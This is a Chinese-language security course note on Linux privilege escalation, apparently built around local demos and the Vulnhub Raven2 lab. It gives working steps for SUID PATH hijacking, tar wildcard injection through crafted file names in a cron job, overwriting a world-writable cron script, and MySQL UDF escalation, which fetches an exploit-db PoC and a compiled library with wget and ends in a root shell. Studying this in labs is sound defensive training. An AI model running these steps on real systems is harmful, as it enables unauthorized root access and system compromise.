第104天:权限提升-Linux系统&环境变量&定时任务&权限配置不当&MDUT自动化

知识点总结

#知识点:
1、Linux提权-定时任务
2、Linux提权-环境变量
3、Linux提权-权限配置不当
4、Linux提权-数据库自动化

#系列内容:
内核,数据库,第三方服务,SUID&GUID,定时任务,环境变量,SUDO,权限不当等
脏牛漏洞(CVE-2016-5195)
Dirty Pipe(CVE-2022-0847)
SUDO(CVE-2021-3156)
Polkit(CVE-2021-4034)

#截至目前思路点总结如下:
1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区分,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等

#截至目前思路点总结如下:
1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区分,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等

#思考点:
1、如何判断采用什么数据库提权?
2、数据库提权首要条件密码获取?
3、有那些数据库类型可以进行提权?
4、操作系统在数据库提权中有那些疑问?

#章节点:
1、Web权限提升
2、系统权限提升
3、域控权限提升

#详细点:
1、具体有哪些权限需要我们了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

2、以上常见权限获取方法简要归类说明?
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入
网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入
接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等

3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作,后台功能可操作类
网站权限:
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限:
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。
系统权限:如同在你自己操作自己的电脑一样
域控权限:如同在你自己操作自己的虚拟机一样

案例演示

Linux-环境变量文件配合SUID-本地

Linux-定时任务打包配合SUID-本地

Linux-定时任务文件权限配置不当-WEB&本地

Linux-第三方软件MYSQL数据库提权-WEB&本地
#Linux-环境变量文件配合SUID-本地
条件:ROOT用户对某个第三方程序给予了SUID权限
探针:find / -user root -perm -4000 -print 2>/dev/null
root用户将可执行文件进行编译,保证文件的正常授权运行,给予ROOT权限执行
[root@ch4ser tmp]# gcc demo.c -o shell
[root@ch4ser tmp]# chmod u+s shell
普通用户通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限
[root@ch4ser tmp]# su zhangsan
[zhangsan@ch4ser tmp]$ cp /bin/bash /tmp/ps
[zhangsan@ch4ser tmp]$ export PATH=/tmp:$PATH
[zhangsan@ch4ser tmp]$ ./shell
[root@ch4ser tmp]# id
uid=0(root) gid=0(root) 组=0(root),1003(zhangsan)

#Linux-定时任务打包配合SUID-本地
提权通过获取计划任务执行文件信息进行提权
1、相对路径和绝对路径执行
2、计划任务命令存在参数调用
利用计划任务的备份功能tar命令的参数利用

//管理员创建定时任务
[root@ch4ser ~]# vim /etc/crontab
20 * * * * root bash /root/backup.sh
[root@ch4ser ~]# vim backup.sh
cd /home/zhangsan;tar -zcf /tmp/backup.tar.gz *
注意:这里只能写 * ,不然无法将后面的文件名识别为参数,也就无法实现提权

//张三在/tmp目录精心构造文件名
[zhangsan@ch4ser tmp]$ echo "" > "--checkpoint=1"
[zhangsan@ch4ser tmp]$ echo "" > "--checkpoint-action=exec=bash test.sh"
[zhangsan@ch4ser tmp]$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh
[zhangsan@ch4ser tmp]$ chmod +x test.sh

//定时任务执行后,/tmp目录出现打包文件和bash,张三使用 bash -p 提权
[zhangsan@ch4ser tmp]$ ll
-rw-r--r-- 1 root  root     195 6月  20 10:20 backup.tar.gz
-rwsr-sr-x 1 root  root  964544 6月  20 10:20 bash
[zhangsan@ch4ser tmp]$ ./bash -p
bash-4.2# id
uid=1003(zhangsan) gid=1003(zhangsan) euid=0(root) egid=0(root) 组=0(root),1003(zhangsan)
bash-4.2# whoami
root

#Linux-定时任务文件权限配置不当-WEB&本地
利用不安全的权限分配操作导致的定时文件覆盖
chmod 777 775 等 所有者 组 其他成员说明
(和前面差不多,只是因为文件权限不当,张三可以修改定时任务所执行的.sh文件内容,达到提权目的)

//管理员创建定时任务,并配置脚本权限为777
[root@ch4ser ~]# vim /etc/crontab
20 * * * * root bash /tmp/haha.sh
[root@ch4ser ~]# vim /tmp/haha.sh
cd /tmp;touch abc
[root@ch4ser ~]# chmod 777 /tmp/haha.sh

//张三修改脚本文件内容
[zhangsan@ch4ser tmp]$ vim haha.sh
cp /bin/bash /tmp/bash; chmod +s /tmp/bash

//定时任务执行后,/tmp目录出现bash,张三使用 bash -p 提权
[zhangsan@ch4ser tmp]$ ll
-rwsr-sr-x 1 root  root  964544 6月  20 10:20 bash
[zhangsan@ch4ser tmp]$ ./bash -p
bash-4.2# id
uid=1003(zhangsan) gid=1003(zhangsan) euid=0(root) egid=0(root) 组=0(root),1003(zhangsan)
bash-4.2# whoami
root


#Linux-第三方软件MYSQL数据库提权-WEB&本地
https://www.vulnhub.com/entry/raven-2,269/
Vulnhub某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用Mysql提权Linux(Mysql版本区别同Windows)
#探针IP及端口
nmap 192168.46.0/24
#利用phpmailer漏洞进行修改并反弹
python D:/Myproject/40974.py
nc -lvvp 4444
#写入后门利用菜刀连接方便操作
echo '' >1.php
上传信息收集脚本进行提权信息收集
./LinEnum.sh
翻阅数据库配置文件获取root密码

1、利用Mysql提权 searchsploit
下载mysql udf kali poc进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
上传或下载1518到目标服务器
wget https://xx.xx.xx.xx/1518.so
进入数据库进行UDF导出
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建do_system函数调用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
#配合使用find调用执行
touch xiaodi
find xiaodi –exec "whoami" \;
find xiaodi –exec "/bin/sh" \;
id

2、无法外联走隧道-MDUT自动化数据库提权
//首先设置允许root外连
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
flush privileges;
//有时因为对方开启了防火墙,即使设置了root外连也不行
//此时可以走隧道,利用冰蝎内网穿透模块
//就算连上,也可能对方--secure-file-priv开了,也无法UDF提权成功
//如果没开--secure-file-priv,还需要plugin文件夹有写入权限才行
//总之条件挺多的,感觉比较鸡肋

MDUT 2.0 数据库利用工具  https://github.com/SafeGroceryStore/MDUT  MDUT
(实测MDUT挺好用,5种数据库都可以一键提权,还可以一键擦屁股,舒舒服服)
综合高危漏洞利用工具(包含各大数据库)  https://github.com/Liqunkit/LiqunKit_  LiqunKit
sqlserver利用工具  https://github.com/uknowsec/SharpSQLTools  SharpSQLTools
通过套接字重用通过受损的 Microsoft SQL Server 在受限环境中执行横向移动  https://github.com/blackarrowsec/mssqlproxy  mssqlproxy
ODAT:Oracle 数据库攻击工具  https://github.com/quentinhardy/odat  ODAT

靶机:Raven2
参考:https://blog.csdn.net/dongluliang/article/details/119789924

你可能感兴趣的:(权限提升,linux,自动化,数据库)